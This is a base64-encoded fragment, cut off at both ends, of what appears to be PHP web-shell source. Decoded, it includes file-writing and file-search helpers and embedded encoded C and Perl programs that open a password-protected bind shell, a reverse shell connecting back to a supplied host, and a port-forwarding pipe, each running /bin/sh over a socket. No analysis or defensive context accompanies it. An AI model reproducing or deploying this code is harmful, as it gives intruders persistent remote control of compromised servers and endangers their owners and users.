KCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOw0KJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7DQokd29ybGRbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7DQokd29ybGRbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCmlmKCAkbW9kZSAmIDB4ODAwICkgJG93bmVyWyJleGVjdXRlIl0gPSAoJG93bmVyWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7DQppZiggJG1vZGUgJiAweDQwMCApICRncm91cFsiZXhlY3V0ZSJdID0gKCRncm91cFsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnOw0KaWYoICRtb2RlICYgMHgyMDAgKSAkd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzsNCiRzPXNwcmludGYoIiUxcyIsICR0eXBlKTsNCiRzLj1zcHJpbnRmKCIlMXMlMXMlMXMiLCAkb3duZXJbJ3JlYWQnXSwgJG93bmVyWyd3cml0ZSddLCAkb3duZXJbJ2V4ZWN1dGUnXSk7DQokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJGdyb3VwWydyZWFkJ10sICRncm91cFsnd3JpdGUnXSwgJGdyb3VwWydleGVjdXRlJ10pOw0KJHMuPXNwcmludGYoIiUxcyUxcyUxcyIsICR3b3JsZFsncmVhZCddLCAkd29ybGRbJ3dyaXRlJ10sICR3b3JsZFsnZXhlY3V0ZSddKTsNCnJldHVybiB0cmltKCRzKTsNCn0NCmZ1bmN0aW9uIGluKCR0eXBlLCRuYW1lLCRzaXplLCR2YWx1ZSwkY2hlY2tlZD0wKQ0Kew0KICRyZXQgPSAiPGlucHV0IHR5cGU9Ii4kdHlwZS4iIG5hbWU9Ii4kbmFtZS4iICI7DQogaWYoJHNpemUgIT0gMCkgeyAkcmV0IC49ICJzaXplPSIuJHNpemUuIiAiOyB9DQogJHJldCAuPSAidmFsdWU9XCIiLiR2YWx1ZS4iXCIiOw0KIGlmKCRjaGVja2VkKSAkcmV0IC49ICIgY2hlY2tlZCI7DQogcmV0dXJuICRyZXQuIj4iOw0KfQ0KZnVuY3Rpb24gd2hpY2goJHByKQ0Kew0KJHBhdGggPSBleCgid2hpY2ggJHByIik7DQppZighZW1wdHkoJHBhdGgpKSB7IHJldHVybiAkcGF0aDsgfSBlbHNlIHsgcmV0dXJuICRwcjsgfQ0KfQ0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KQ0Kew0KICR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwidyIpIG9yIGVycigwKTsNCiBpZigkd19maWxlKQ0KIHsNCiBAZnB1dHMoJHdfZmlsZSxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOw0KIEBmY2xvc2UoJHdfZmlsZSk7DQogfQ0KfQ0KZnVuY3Rpb24gc3IoJGwsJHQxLCR0MikNCiB7DQogcmV0dXJuICI8dHIgY2xhc3M9dHIxPjx0ZCBjbGFzcz10ZDEgd2lkdGg9Ii4kbC4iJSBhbGlnbj1yaWdodD4iLiR0MS4iPC90ZD48dGQgY2xhc3M9dGQxIGFsaWduPWxlZnQ+Ii4kdDIuIjwvdGQ+PC90cj4iOw0KIH0JDQppZiAoIUBmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKQ0Kew0KZnVuY3Rpb24gdmlld19zaXplKCRzaXplKQ0Kew0KIGlmKCRzaXplID49IDEwNzM3NDE4MjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gIiBHQiI7fQ0KIGVsc2VpZigkc2l6ZSA+PSAxMDQ4NTc2KSB7JHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICIgTUIiO30NCiBlbHNlaWYoJHNpemUgPj0gMTAyNCkgeyRzaXplID0gQHJvdW5kKCRzaXplIC8gMTAyNCAqIDEwMCkgLyAxMDAgLiAiIEtCIjt9DQogZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KIHJldHVybiAkc2l6ZTsNCn0NCn0NCiAgZnVuY3Rpb24gRGlyRmlsZXNSKCRkaXIsJHR5cGVzPScnKQ0KICB7DQogICAgJGZpbGVzID0gQXJyYXkoKTsNCiAgICBpZigoJGhhbmRsZSA9IEBvcGVuZGlyKCRkaXIpKSkNCiAgICB7DQogICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZSA9IEByZWFkZGlyKCRoYW5kbGUpKSkNCiAgICAgIHsNCiAgICAgICAgaWYgKCRmaWxlICE9ICIuIiAmJiAkZmlsZSAhPSAiLi4iKQ0KICAgICAgICB7DQogICAgICAgICAgaWYoQGlzX2RpcigkZGlyLiIvIi4kZmlsZSkpDQogICAgICAgICAgICAkZmlsZXMgPSBAYXJyYXlfbWVyZ2UoJGZpbGVzLERpckZpbGVzUigkZGlyLiIvIi4kZmlsZSwkdHlwZXMpKTsNCiAgICAgICAgICBlbHNlDQogICAgICAgICAgew0KICAgICAgICAgICAgJHBvcyA9IEBzdHJycG9zKCRmaWxlLCIuIik7DQogICAgICAgICAgICAkZXh0ID0gQHN1YnN0cigkZmlsZSwkcG9zLEBzdHJsZW4oJGZpbGUpLSRwb3MpOw0KICAgICAgICAgICAgaWYoJHR5cGVzKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICBpZihAaW5fYXJyYXkoJGV4dCxleHBsb2RlKCc7JywkdHlwZXMpKSkNCiAgICAgICAgICAgICAgICAkZmlsZXNbXSA9ICRkaXIuIi8iLiRmaWxlOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAkZmlsZXNbXSA9ICRkaXIuIi8iLiRmaWxlOw0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgQGNsb3NlZGlyKCRoYW5kbGUpOw0KICAgIH0NCiAgICByZXR1cm4gJGZpbGVzOw0KICB9DQogIGNsYXNzIFNlYXJjaFJlc3VsdA0KICB7DQogICAgdmFyICR0ZXh0Ow0KICAgIHZhciAkRmlsZXNUb1NlYXJjaDsNCiAgICB2YXIgJFJlc3VsdEZpbGVzOw0KICAgIHZhciAkRmlsZXNUb3RhbDsNCiAgICB2YXIgJE1hdGNoZXNDb3VudDsNCiAgICB2YXIgJEZpbGVNYXRzY2hlc0NvdW50Ow0KICAgIHZhciAkVGltZVN0YXJ0Ow0KICAgIHZhciAkVGltZVRvdGFsOw0KICAgIHZhciAkdGl0bGVzOw0KICAgIGZ1bmN0aW9uIFNlYXJjaFJlc3VsdCgkZGlyLCR0ZXh0LCRmaWx0ZXI9JycpDQogICAgew0KICAgICAgJGRpcnMgPSBAZXhwbG9kZSgiOyIsJGRpcik7DQogICAgICAkdGhpcy0+RmlsZXNUb1NlYXJjaCA9IEFycmF5KCk7DQogICAgICBmb3IoJGE9MDskYTxjb3VudCgkZGlycyk7JGErKykNCiAgICAgICAgJHRoaXMtPkZpbGVzVG9TZWFyY2ggPSBAYXJyYXlfbWVyZ2UoJHRoaXMtPkZpbGVzVG9TZWFyY2gsRGlyRmlsZXNSKCRkaXJzWyRhXSwkZmlsdGVyKSk7DQogICAgICAkdGhpcy0+dGV4dCA9ICR0ZXh0Ow0KICAgICAgJHRoaXMtPkZpbGVzVG90YWwgPSBAY291bnQoJHRoaXMtPkZpbGVzVG9TZWFyY2gpOw0KICAgICAgJHRoaXMtPlRpbWVTdGFydCA9IGdldG1pY3JvdGltZSgpOw0KICAgICAgJHRoaXMtPk1hdGNoZXNDb3VudCA9IDA7DQogICAgICAkdGhpcy0+UmVzdWx0RmlsZXMgPSBBcnJheSgpOw0KICAgICAgJHRoaXMtPkZpbGVNYXRjaGVzQ291bnQgPSBBcnJheSgpOw0KICAgICAgJHRoaXMtPnRpdGxlcyA9IEFycmF5KCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIEdldEZpbGVzVG90YWwoKSB7IHJldHVybiAkdGhpcy0+RmlsZXNUb3RhbDsgfQ0KICAgIGZ1bmN0aW9uIEdldFRpdGxlcygpIHsgcmV0dXJuICR0aGlzLT50aXRsZXM7IH0NCiAgICBmdW5jdGlvbiBHZXRUaW1lVG90YWwoKSB7IHJldHVybiAkdGhpcy0+VGltZVRvdGFsOyB9DQogICAgZnVuY3Rpb24gR2V0TWF0Y2hlc0NvdW50KCkgeyByZXR1cm4gJHRoaXMtPk1hdGNoZXNDb3VudDsgfQ0KICAgIGZ1bmN0aW9uIEdldEZpbGVNYXRjaGVzQ291bnQoKSB7IHJldHVybiAkdGhpcy0+RmlsZU1hdGNoZXNDb3VudDsgfQ0KICAgIGZ1bmN0aW9uIEdldFJlc3VsdEZpbGVzKCkgeyByZXR1cm4gJHRoaXMtPlJlc3VsdEZpbGVzOyB9DQogICAgZnVuY3Rpb24gU2VhcmNoVGV4dCgkcGhyYXNlPTAsJGNhc2U9MCkgew0KICAgICRxcSA9IEBleHBsb2RlKCcgJywkdGhpcy0+dGV4dCk7DQogICAgJGRlbGltID0gJ3wnOw0KICAgICAgaWYoJHBocmFzZSkNCiAgICAgICAgZm9yZWFjaCgkcXEgYXMgJGs9PiR2KQ0KICAgICAgICAgICRxcVska10gPSAnXGInLiR2LidcYic7DQogICAgICAkd29yZHMgPSAnKCcuQGltcGxvZGUoJGRlbGltLCRxcSkuJyknOw0KICAgICAgJHBhdHRlcm4gPSAiLyIuJHdvcmRzLiIvIjsNCiAgICAgIGlmKCEkY2FzZSkNCiAgICAgICAgJHBhdHRlcm4gLj0gJ2knOw0KICAgICAgZm9yZWFjaCgkdGhpcy0+RmlsZXNUb1NlYXJjaCBhcyAkaz0+JGZpbGVuYW1lKQ0KICAgICAgew0KICAgICAgICAkdGhpcy0+RmlsZU1hdGNoZXNDb3VudFskZmlsZW5hbWVdID0gMDsNCiAgICAgICAgJEZpbGVTdHJpbmdzID0gQGZpbGUoJGZpbGVuYW1lKSBvciBAbmV4dDsNCiAgICAgICAgZm9yKCRhPTA7JGE8QGNvdW50KCRGaWxlU3RyaW5ncyk7JGErKykNCiAgICAgICAgew0KICAgICAgICAgICRjb3VudCA9IDA7DQogICAgICAgICAgJEN1clN0cmluZyA9ICRGaWxlU3RyaW5nc1skYV07DQogICAgICAgICAgJEN1clN0cmluZyA9IEBUcmltKCRDdXJTdHJpbmcpOw0KICAgICAgICAgICRDdXJTdHJpbmcgPSBAc3RyaXBfdGFncygkQ3VyU3RyaW5nKTsNCiAgICAgICAgICAkYWEgPSAnJzsNCiAgICAgICAgICBpZigoJGNvdW50ID0gQHByZWdfbWF0Y2hfYWxsKCRwYXR0ZXJuLCRDdXJTdHJpbmcsJGFhKSkpDQogICAgICAgICAgew0KICAgICAgICAgICAgJEN1clN0cmluZyA9IEBwcmVnX3JlcGxhY2UoJHBhdHRlcm4sIjxTUEFOIHN0eWxlPSdjb2xvcjogIzk5MDAwMDsnPjxiPlxcMTwvYj48L1NQQU4+IiwkQ3VyU3RyaW5nKTsNCiAgICAgICAgICAgICR0aGlzLT5SZXN1bHRGaWxlc1skZmlsZW5hbWVdWyRhKzFdID0gJEN1clN0cmluZzsNCiAgICAgICAgICAgICR0aGlzLT5NYXRjaGVzQ291bnQgKz0gJGNvdW50Ow0KICAgICAgICAgICAgJHRoaXMtPkZpbGVNYXRjaGVzQ291bnRbJGZpbGVuYW1lXSArPSAkY291bnQ7DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICAkdGhpcy0+VGltZVRvdGFsID0gQHJvdW5kKGdldG1pY3JvdGltZSgpIC0gJHRoaXMtPlRpbWVTdGFydCw0KTsNCiAgICB9DQogIH0NCiAgZnVuY3Rpb24gZ2V0bWljcm90aW1lKCkNCiAgew0KICAgIGxpc3QoJHVzZWMsJHNlYykgPSBAZXhwbG9kZSgiICIsQG1pY3JvdGltZSgpKTsNCiAgICByZXR1cm4gKChmbG9hdCkkdXNlYyArIChmbG9hdCkkc2VjKTsNCiAgfQ0KJHBvcnRfYmluZF9iZF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNSeWFXNW5MbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM1I1Y0dWekxtZytEUW9qYVc1amJIVmtaUw0KQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ2lOcGJtTnNkV1JsSUR4bGNuSnVieTVvUGcwS2FXNTBJRzFoYVc0b1lYSm5ZeXhoY21kMktRMEthVzUwSQ0KR0Z5WjJNN0RRcGphR0Z5SUNvcVlYSm5kanNOQ25zZ0lBMEtJR2x1ZENCemIyTnJabVFzSUc1bGQyWmtPdzBLSUdOb1lYSWdZblZtV3pNd1hUc05DaUJ6ZEhKMVkzUWdjMjlqYTJGa1pISmZhVzRnY21WdA0KYjNSbE93MEtJR2xtS0dadmNtc29LU0E5UFNBd0tTQjdJQTBLSUhKbGJXOTBaUzV6YVc1ZlptRnRhV3g1SUQwZ1FVWmZTVTVGVkRzTkNpQnlaVzF2ZEdVdWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3loaGRHOQ0KcEtHRnlaM1piTVYwcEtUc05DaUJ5WlcxdmRHVXVjMmx1WDJGa1pISXVjMTloWkdSeUlEMGdhSFJ2Ym13b1NVNUJSRVJTWDBGT1dTazdJQTBLSUhOdlkydG1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMRg0KTlBRMHRmVTFSU1JVRk5MREFwT3cwS0lHbG1LQ0Z6YjJOclptUXBJSEJsY25KdmNpZ2ljMjlqYTJWMElHVnljbTl5SWlrN0RRb2dZbWx1WkNoemIyTnJabVFzSUNoemRISjFZM1FnYzI5amEyRmtaSElnSw0KaWttY21WdGIzUmxMQ0F3ZURFd0tUc05DaUJzYVhOMFpXNG9jMjlqYTJaa0xDQTFLVHNOQ2lCM2FHbHNaU2d4S1EwS0lDQjdEUW9nSUNCdVpYZG1aRDFoWTJObGNIUW9jMjlqYTJaa0xEQXNNQ2s3RFFvZw0KSUNCa2RYQXlLRzVsZDJaa0xEQXBPdzBLSUNBZ1pIVndNaWh1WlhkbVpDd3hLVHNOQ2lBZ0lHUjFjRElvYm1WM1ptUXNNaWs3RFFvZ0lDQjNjbWwwWlNodVpYZG1aQ3dpVUdGemMzZHZjbVE2SWl3eE1Daw0KN0RRb2dJQ0J5WldGa0tHNWxkMlprTEdKMVppeHphWHBsYjJZb1luVm1LU2s3RFFvZ0lDQnBaaUFvSVdOb2NHRnpjeWhoY21kMld6SmRMR0oxWmlrcERRb2dJQ0J6ZVhOMFpXMG9JbVZqYUc4Z2QyVnNZMg0KOXRaU0IwYnlCeU5UY2djMmhsYkd3Z0ppWWdMMkpwYmk5aVlYTm9JQzFwSWlrN0RRb2dJQ0JsYkhObERRb2dJQ0JtY0hKcGJuUm1LSE4wWkdWeWNpd2lVMjl5Y25raUtUc05DaUFnSUdOc2IzTmxLRzVsZA0KMlprS1RzTkNpQWdmUTBLSUgwTkNuME5DbWx1ZENCamFIQmhjM01vWTJoaGNpQXFZbUZ6WlN3Z1kyaGhjaUFxWlc1MFpYSmxaQ2tnZXcwS2FXNTBJR2s3RFFwbWIzSW9hVDB3TzJrOGMzUnliR1Z1S0dWdQ0KZEdWeVpXUXBPMmtyS3lrZ0RRcDdEUXBwWmlobGJuUmxjbVZrVzJsZElEMDlJQ2RjYmljcERRcGxiblJsY21Wa1cybGRJRDBnSjF3d0p6c2dEUXBwWmlobGJuUmxjbVZrVzJsZElEMDlJQ2RjY2ljcERRcA0KbGJuUmxjbVZrVzJsZElEMGdKMXd3SnpzTkNuME5DbWxtSUNnaGMzUnlZMjF3S0dKaGMyVXNaVzUwWlhKbFpDa3BEUXB5WlhSMWNtNGdNRHNOQ24wPSI7DQokcG9ydF9iaW5kX2JkX3BsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2WW1GemFDQXRhU0k3RFFwcFppQW9RRUZTUjFZZ1BDQXhLU0I3SUdWNGFYUW9NU2s3SUgwTkNpUk1TDQpWTlVSVTVmVUU5U1ZEMGtRVkpIVmxzd1hUc05DblZ6WlNCVGIyTnJaWFE3RFFva2NISnZkRzlqYjJ3OVoyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzDQpKbE5QUTB0ZlUxUlNSVUZOTENSd2NtOTBiMk52YkNrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWDQpUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFeEpVMVJGVGw5UVQxSlVMRWxPUVVSRVVsOUJUbGtwS1NCOGZDQmthV1VnSWtOaGJuUWdiM0JsYmlCd2IzSjBYRzRpT3cwS2JHDQpsemRHVnVLRk1zTXlrZ2ZId2daR2xsSUNKRFlXNTBJR3hwYzNSbGJpQndiM0owWEc0aU93MEtkMmhwYkdVb01Ta05DbnNOQ21GalkyVndkQ2hEVDA1T0xGTXBPdzBLYVdZb0lTZ2tjR2xrUFdadmNtc3BLDQpRMEtldzBLWkdsbElDSkRZVzV1YjNRZ1ptOXlheUlnYVdZZ0tDRmtaV1pwYm1Wa0lDUndhV1FwT3cwS2IzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DbTl3Wlc0Z1UxUkVUMVZVTENJK0prTlBUazRpDQpPdzBLYjNCbGJpQlRWRVJGVWxJc0lqNG1RMDlPVGlJN0RRcGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DbU5zYjNODQpsSUVOUFRrNDdEUXBsZUdsMElEQTdEUXA5RFFwOSI7DQokYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqDQphRzhnSW1CcFpHQWlPeTlpYVc0dmMyZ25PdzBLSkRBOUpHTnRaRHNOQ2lSMFlYSm5aWFE5SkVGU1IxWmJNRjA3RFFva2NHOXlkRDBrUVZKSFZsc3hYVHNOQ2lScFlXUmtjajFwYm1WMFgyRjBiMjRvSkhSDQpoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUndiM0owTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUDQpzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JDQprVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpDQpLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2drYzNsemRHVnRLVHNOQ21Oc2IzTmxLRk5VUkVsDQpPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCiRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZEMNCkJ0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaa093MEtJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWINClNBdFppQWlPeUFOQ2lCa1lXVnRiMjRvTVN3d0tUc05DaUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmQNCktTazdEUW9nYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc2dEUW9nWW5wbGNtOG9ZWEpuZGxzeFhTeHpkSEpzWlc0b1lYSm5kbHN4WFNrck1TdHpkSEoNCnNaVzRvWVhKbmRsc3lYU2twT3lBTkNpQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNnRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTEMNCkFvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSUNaemFXNHNJSE5wZW1WdlppaHpkSEoxWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tnZXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0QNClFvZ0lDQmxlR2wwS0RBcE93MEtJSDBOQ2lCemRISmpZWFFvY20xekxDQmhjbWQyV3pCZEtUc05DaUJ6ZVhOMFpXMG9jbTF6S1RzZ0lBMEtJR1IxY0RJb1ptUXNJREFwT3cwS0lHUjFjRElvWm1Rc0lERXANCk93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09IjsNCiRkYXRhcGlwZV9jPSJJMmx1WTJ4MVpHVWdQSE41Y3k5MGVYQmxjeTVvUGcwS0kybHVZMngxWkdVZ1BITjVjeTl6YjJOclpYUXVhRDROQ2lOcGJtTnNkV1JsSUR4emVYTXZkMkZwZEM1b1BnMEtJMmx1WTINCngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ2lOcGJtTnNkV1JsSUR4emRHUnBieTVvUGcwS0kybHVZMngxWkdVZ1BITjBaR3hwWWk1b1BnMEtJMmx1WTJ4MVpHVWdQR1Z5Y201dkxtZytEUW9qYVc1amINCkhWa1pTQThkVzVwYzNSa0xtZytEUW9qYVc1amJIVmtaU0E4Ym1WMFpHSXVhRDROQ2lOcGJtTnNkV1JsSUR4c2FXNTFlQzkwYVcxbExtZytEUW9qYVdaa1pXWWdVMVJTUlZKU1QxSU5DbVY0ZEdWeWJpQmoNCmFHRnlJQ3B6ZVhOZlpYSnliR2x6ZEZ0ZE93MEtaWGgwWlhKdUlHbHVkQ0J6ZVhOZmJtVnljanNOQ21Ob1lYSWdLblZ1WkdWbUlEMGdJbFZ1WkdWbWFXNWxaQ0JsY25KdmNpSTdEUXBqYUdGeUlDcHpkSEoNCmxjbkp2Y2lobGNuSnZjaWtnSUEwS2FXNTBJR1Z5Y205eU95QWdEUXA3SUEwS2FXWWdLR1Z5Y205eUlENGdjM2x6WDI1bGNuSXBEUXB5WlhSMWNtNGdkVzVrWldZN0RRcHlaWFIxY200Z2MzbHpYMlZ5Y20NCnhwYzNSYlpYSnliM0pkT3cwS2ZRMEtJMlZ1WkdsbURRb05DbTFoYVc0b1lYSm5ZeXdnWVhKbmRpa2dJQTBLSUNCcGJuUWdZWEpuWXpzZ0lBMEtJQ0JqYUdGeUlDb3FZWEpuZGpzZ0lBMEtleUFOQ2lBZ2ENClc1MElHeHpiMk5yTENCamMyOWpheXdnYjNOdlkyczdEUW9nSUVaSlRFVWdLbU5tYVd4bE93MEtJQ0JqYUdGeUlHSjFabHMwTURrMlhUc05DaUFnYzNSeWRXTjBJSE52WTJ0aFpHUnlYMmx1SUd4aFpHUnkNCkxDQmpZV1JrY2l3Z2IyRmtaSEk3RFFvZ0lHbHVkQ0JqWVdSa2NteGxiaUE5SUhOcGVtVnZaaWhqWVdSa2NpazdEUW9nSUdaa1gzTmxkQ0JtWkhOeUxDQm1aSE5sT3cwS0lDQnpkSEoxWTNRZ2FHOXpkR1YNCnVkQ0FxYURzTkNpQWdjM1J5ZFdOMElITmxjblpsYm5RZ0tuTTdEUW9nSUdsdWRDQnVZbmwwT3cwS0lDQjFibk5wWjI1bFpDQnNiMjVuSUdFN0RRb2dJSFZ1YzJsbmJtVmtJSE5vYjNKMElHOXdiM0owT3cNCjBLRFFvZ0lHbG1JQ2hoY21kaklDRTlJRFFwSUhzTkNpQWdJQ0JtY0hKcGJuUm1LSE4wWkdWeWNpd2lWWE5oWjJVNklDVnpJR3h2WTJGc2NHOXlkQ0J5WlcxdmRHVndiM0owSUhKbGJXOTBaV2h2YzNSY2INCmlJc1lYSm5kbHN3WFNrN0RRb2dJQ0FnY21WMGRYSnVJRE13T3cwS0lDQjlEUW9nSUdFZ1BTQnBibVYwWDJGa1pISW9ZWEpuZGxzelhTazdEUW9nSUdsbUlDZ2hLR2dnUFNCblpYUm9iM04wWW5sdVlXMWwNCktHRnlaM1piTTEwcEtTQW1KZzBLSUNBZ0lDQWdJU2hvSUQwZ1oyVjBhRzl6ZEdKNVlXUmtjaWdtWVN3Z05Dd2dRVVpmU1U1RlZDa3BLU0I3RFFvZ0lDQWdjR1Z5Y205eUtHRnlaM1piTTEwcE93MEtJQ0ENCmdJSEpsZEhWeWJpQXlOVHNOQ2lBZ2ZRMEtJQ0J2Y0c5eWRDQTlJR0YwYjJ3b1lYSm5kbHN5WFNrN0RRb2dJR3hoWkdSeUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb0tIVnVjMmxuYm1Wa0lITm9iM0owS1MNCmhoZEc5c0tHRnlaM1piTVYwcEtTazdEUW9nSUdsbUlDZ29iSE52WTJzZ1BTQnpiMk5yWlhRb1VFWmZTVTVGVkN3Z1UwOURTMTlUVkZKRlFVMHNJRWxRVUZKUFZFOWZWRU5RS1NrZ1BUMGdMVEVwSUhzTkMNCmlBZ0lDQndaWEp5YjNJb0luTnZZMnRsZENJcE93MEtJQ0FnSUhKbGRIVnliaUF5TURzTkNpQWdmUTBLSUNCc1lXUmtjaTV6YVc1ZlptRnRhV3g1SUQwZ2FIUnZibk1vUVVaZlNVNUZWQ2s3RFFvZ0lHeGgNClpHUnlMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2gwYjI1c0tEQXBPdzBLSUNCcFppQW9ZbWx1WkNoc2MyOWpheXdnSm14aFpHUnlMQ0J6YVhwbGIyWW9iR0ZrWkhJcEtTa2dldzBLSUNBZ0lIQmxjbkoNCnZjaWdpWW1sdVpDSXBPdzBLSUNBZ0lISmxkSFZ5YmlBeU1Ec05DaUFnZlEwS0lDQnBaaUFvYkdsemRHVnVLR3h6YjJOckxDQXhLU2tnZXcwS0lDQWdJSEJsY25KdmNpZ2liR2x6ZEdWdUlpazdEUW9nSUMNCkFnY21WMGRYSnVJREl3T3cwS0lDQjlEUW9nSUdsbUlDZ29ibUo1ZENBOUlHWnZjbXNvS1NrZ1BUMGdMVEVwSUhzTkNpQWdJQ0J3WlhKeWIzSW9JbVp2Y21zaUtUc05DaUFnSUNCeVpYUjFjbTRnTWpBN0QNClFvZ0lIME5DaUFnYVdZZ0tHNWllWFFnUGlBd0tRMEtJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQnpaWFJ6YVdRb0tUc05DaUFnZDJocGJHVWdLQ2hqYzI5amF5QTlJR0ZqWTJWd2RDaHNjMjlqYXl3Z0ptTmgNClpHUnlMQ0FtWTJGa1pISnNaVzRwS1NBaFBTQXRNU2tnZXcwS0lDQWdJR05tYVd4bElEMGdabVJ2Y0dWdUtHTnpiMk5yTENKeUt5SXBPdzBLSUNBZ0lHbG1JQ2dvYm1KNWRDQTlJR1p2Y21zb0tTa2dQVDANCmdMVEVwSUhzTkNpQWdJQ0FnSUdad2NtbHVkR1lvWTJacGJHVXNJQ0kxTURBZ1ptOXlhem9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ0lDQnphSFYwWkc5M2JpaGpjMjlqYXkNCnd5S1RzTkNpQWdJQ0FnSUdaamJHOXpaU2hqWm1sc1pTazdEUW9nSUNBZ0lDQmpiMjUwYVc1MVpUc05DaUFnSUNCOURRb2dJQ0FnYVdZZ0tHNWllWFFnUFQwZ01Da05DaUFnSUNBZ0lHZHZkRzhnWjI5MGMNCjI5amF6c05DaUFnSUNCbVkyeHZjMlVvWTJacGJHVXBPdzBLSUNBZ0lIZG9hV3hsSUNoM1lXbDBjR2xrS0MweExDQk9WVXhNTENCWFRrOUlRVTVIS1NBK0lEQXBPdzBLSUNCOURRb2dJSEpsZEhWeWJpQXkNCk1Ec